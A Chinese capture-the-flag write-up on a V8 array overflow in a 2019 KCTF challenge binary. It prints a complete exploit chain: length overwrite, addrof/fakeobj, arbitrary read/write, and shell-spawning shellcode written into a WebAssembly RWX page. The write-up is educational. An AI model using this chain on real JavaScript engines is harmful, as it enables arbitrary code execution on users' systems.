v8数组溢出漏洞利用:2019KCTF问题5小虎还乡 – 作者:PwnByKenny

0. 前言

文章全文在这里哦:v8数组溢出漏洞利用:2019KCTF问题5小虎还乡,本文只给出了其摘要,但包含了全部的利用过程,更多的细节大家可以在这个链接里面找到。这个链接导向我的个人网站,欢迎大家来访,感谢大家的支持与评论~。

3到7节的代码片段拼接在一起便是一个完整的利用代码,可产生Shell,但有些时候你需要改变其中一些偏移量值如fmap_offset, oele_offset, fakeFloat_offset。

本文使用的Shellcode可在x86_64架构CPU、Linux操作系统上运行,不保证能运行在其他架构和操作系统上。

1. 利用思路

  • 首先在内存中布局这些对象:浮点数组溢出源buggy、对象数组obj_arr、浮点数组float_arr。
  • 接着,用溢出源覆写它自己的长度字段,使得我们可以用buggy进行多次越界读写。
  • 构造addrof:把对象存入obj_arr,用buggy读取此对象,可以得到此对象地址。
  • 构造fakeobj:用buggy把地址存入obj_arr,然后再用obj_arr读取此地址,可得到一个对象。
  • 构造read64与write64:用buggy读取float_arr的类型字段,用此类型字段在内存中伪造一个浮点数组的数据结构,用fakeobj将此数据结构转换为一个伪造的浮点数组对象fakeFloat,通过修改fakeFloat的元素区指针来进行内存任意读写。
  • Shellcode注入与执行:利用Wasm构造RWX页面,利用read64和write64修改一个ArrayBuffer对象的BackingStore指针,令其指向此RWX页面,接着用此ArrayBuffer对象往RWX页面中写Shellcode,最后执行定义的Wasm函数。

2. 环境设置

下载文件夹2019 KCTF Problem 5(链接:https://pan.baidu.com/s/1wUk6YzOSkjOaU6g95IK2qg 提取码:mg95),这里面有一个叫做d8的文件,它包含本文所提及的漏洞,可运行在Linux操作系统上:./d8。

在前言的全文链接中,另提供了其他的方法来下载并配置环境,如果这里提供的百度网盘链接无法使用,可以去全文链接中看看哦。

3. 数据类型转换函数

这里有两个主要的函数:iadd、i2f。iadd用于把一个浮点格式的地址与一个整型偏移量相加。i2f用于把整型Shellcode转换为浮点格式的Shellcode。

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var uint32 = new Uint32Array(buf);
function iadd(f, i) {
    float64[0] = f;
    let low = uint32[0] + i;
    if (low > 0xffffffff) {
        low &= 0xffffffff;
        uint32[1] += 1;
    }
    uint32[0] = low;
    return float64[0];
}
function i2f(high, low) {
    uint32[0] = low;
    uint32[1] = high;
    return float64[0];
}

4. 准备内存

代码中的for循环用于触发漏洞,漏洞触发时,内存中从低到高有这几个关键对象:buggy、obj_arr、float_arr。buggy是溢出源;obj_arr是对象数组,里面存放对象;float_arr是浮点数组,里面存放浮点数。

buggy[oob * 4] = new_length;用于越界覆写buggy的长度字段为new_length。buggy是一个浮点数组对象,它包含两部分:对象主体和元素区,元素区在低地址,对象主体在高地址,数据是从低地址往高地址写的,所以当buggy的元素区溢出时,是可以覆写处在高地址的对象主体中的长度字段的。此长度字段表示buggy的元素个数(每个元素8字节),也就是说它可以访问多少连续的元素,当我们通过覆写把它调大后,我们就能用它进行多次越界读写了。oob*4是从第一个元素到长度字段的偏移量,由于JS引擎的容错机制,这样的赋值操作一般是不会触发越界写的,但是在这里我们能,这就是bug,原理是变量oob有一个类型值和一个计算值,类型值用于判断是否越界,在这里oob的类型值是0,那么oob*4的类型值也是0,但是buggy有1个元素,也就是说它的长度为1,从类型值上判断要访问的元素索引0 < 1,故JS引擎认为这没有越界,然而在实际访问中JS引擎却使用的是它的计算值1,1*4=4这就造成了越界写。这就是buggy数组的用途 – 越界覆写buggy的长度字段进而能够用它进行多次越界读写。

obj_arr和float_arr在接下来的节中会用到,在这里我们计算出从buggy元素区到它们的偏移量。fmap_offset是从buggy元素区到float_arr类型字段的偏移量,oele_offset是从buggy元素区到obj_arr元素区的偏移量,fakeFloat_offset是从float_arr的对象主体到其元素区的偏移量。

const new_length = i2f(0x900, 0);
var obj = { a: 1 };
var obj_arr;
var float_arr;
var buggy;
var overwrite_length = () => {
    let oob = new Date(-864000000 * 15000000);
    oob = Math.abs(oob.getDate() - 16) >> 5;
    buggy = [1.1];
    obj_arr = [obj];
    float_arr = [1.1];
    buggy[oob * 4] = new_length;
};
for (let i = 0; i < 0x10000; i++) overwrite_length();
const fmap_offset = 15;
const oele_offset = 7;
const fakeFloat_offset = -48;

5. addrof和fakeobj

在这里我们定义两个类型混淆原语:addrof和fakeobj。addrof接收一个对象obj,然后把它以对象格式放到obj_arr里,接着用浮点数组buggy把这个obj以浮点格式读出,这样我们就得到了obj的地址值。fakeobj接收一个浮点地址addr,然后用buggy把它以浮点格式存入到obj_arr[0]中,接着再用obj_arr以对象格式把它读出,这样就得到了一个对象指针。

function addrof(obj) {
    obj_arr[0] = obj;
    return buggy[oele_offset];
}
function fakeobj(addr) {
    buggy[oele_offset] = addr;
    return obj_arr[0];
}

6. read64和write64

read64和write64可以进行任意内存地址的读写。它们用一个伪造的浮点数组对象fakeFloat实现,fakeFloat存放在fakeArr的元素区,如2所示,2中定义了fakeFloat的结构,fmap是类型值。3-5行代码先获取了fakeArr对象主体的地址,然后将其加上之前定义的fakeFloat_offset以计算出其元素区的地址,最后通过fakeobj将此地址伪造为一个对象,也就是说fakeArr元素区的内容现在变为了一个对象fakeFloat,我们可以任意操纵fakeFloat。read64和write64通过修改fakeFloat的“Pointer to Elements”字段来使内存中的任意位置成为它的元素区从而实现对任意位置的访问。-0x10是从元素区首地址到第一个元素的偏移量,也就是元素区头部的长度。

1   var fmap = buggy[fmap_offset];
2   var fakeArr = [ // fakeFloat consists of the elements.
        fmap, // Pointer to Map
        fmap, // Not Important, fmap is a placeholder
        fmap, // Pointer to Elements, fmap is a placeholder
        i2f(0x10, 0), // Length
        1.1,  // Not Important, 1.1 is a placeholder
        2.2   // Not Important, 2.2 is a placeholder
    ];
3   var fakeArr_addr = addrof(fakeArr);
4   var fakeFloat_addr = iadd(fakeArr_addr, fakeFloat_offset); 
5   var fakeFloat = fakeobj(fakeFloat_addr);
6   function read64(addr) {
        fakeArr[2] = iadd(addr, -0x10);
        return fakeFloat[0];
    }
7   function write64(addr, data) {
        fakeArr[2] = iadd(addr, -0x10);
        fakeFloat[0] = data;
    }

7. Shellcode注入与执行

为了注入并执行Shellcode我们需要创建一个RWX页面,1-4行代码利用WebAssembly Code创建出了此页面,JS引擎默认把WebAssembly Code放到RWX页面中去。5-6行代码依照WasmInstance对象结构访问到这个RWX页面的地址。7行定义出了要注入的Shellcode,它会产生一个shell。8-11行代码创建出了一个ArrayBuffer对象,并修改了它的BackingStore指针字段,另此指针指向了RWX页面地址。12-14行代码往此指针处,也就是RWX页面中,写入了Shellcode。15行代码通过执行函数f从而执行了Shellcode,因为我们的RWX页面地址是在f的结构中找到的,注入Shellcode实际是写入到了f的代码区。

1   var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
    128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,
    1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,
    128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,
    0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
2   var wasmModule = new WebAssembly.Module(wasmCode);
3   var wasmInstance = new WebAssembly.Instance(wasmModule, {});
4   var f = wasmInstance.exports.main;
5   var wasm_instance_addr = addrof(wasmInstance);
6   var rwx_page_addr = read64(iadd(wasm_instance_addr, 0x80));
7   var shellcode = [
        i2f(0x2fbb4852, 0x99583b6a),
        i2f(0x5368732f, 0x6e69622f),
        i2f(0x050f5e54, 0x57525f54)
    ];
8   var data_buf = new ArrayBuffer(24);
9   var data_view = new DataView(data_buf);
10  var buf_backing_store_addr = iadd(addrof(data_buf), 0x20);
11  write64(buf_backing_store_addr, rwx_page_addr);
12  data_view.setFloat64(0, shellcode[0], true);
13  data_view.setFloat64(8, shellcode[1], true);
14  data_view.setFloat64(16, shellcode[2], true);
15  f();

8. 总结

文章的全文在这里:v8数组溢出漏洞利用:2019KCTF问题5小虎还乡,大家可以在这里面找到更多的细节。这是我的个人网站,欢迎大家来访问,感谢大家的支持与评论~!

来源:freebuf.com 2020-10-21 01:41:22 by: PwnByKenny

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论